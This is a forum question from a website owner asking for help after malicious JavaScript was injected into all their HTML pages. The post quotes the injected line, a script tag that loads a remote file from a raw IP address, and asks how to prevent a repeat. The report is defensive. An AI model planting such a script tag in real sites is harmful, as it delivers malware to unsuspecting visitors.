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Malicious Code on Website

Asked by andrewaiello in McAfee Anti-Virus Software, Desktop Anti-Virus, Server Anti-Virus

Tags: website virus, trojan, coldfusion

My website was just infected by some malicious code. All of the html pages within my ftp were infected with the line of javascript below which appeared after the closing html tag. I have removed this line of code and changed my FTP Password.

<script src=http://222.231.60.19/seraph/door/iisHelp/help.js></script>

Can someone tell me how this code got there? Is there any way to prevent this kind of attack other than a strong FTP Password?

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Malicious Code on Website

Asked by andrewaiello in McAfee Anti-Virus Software, Desktop Anti-Virus, Server Anti-Virus

Tags: website virus, trojan, coldfusion

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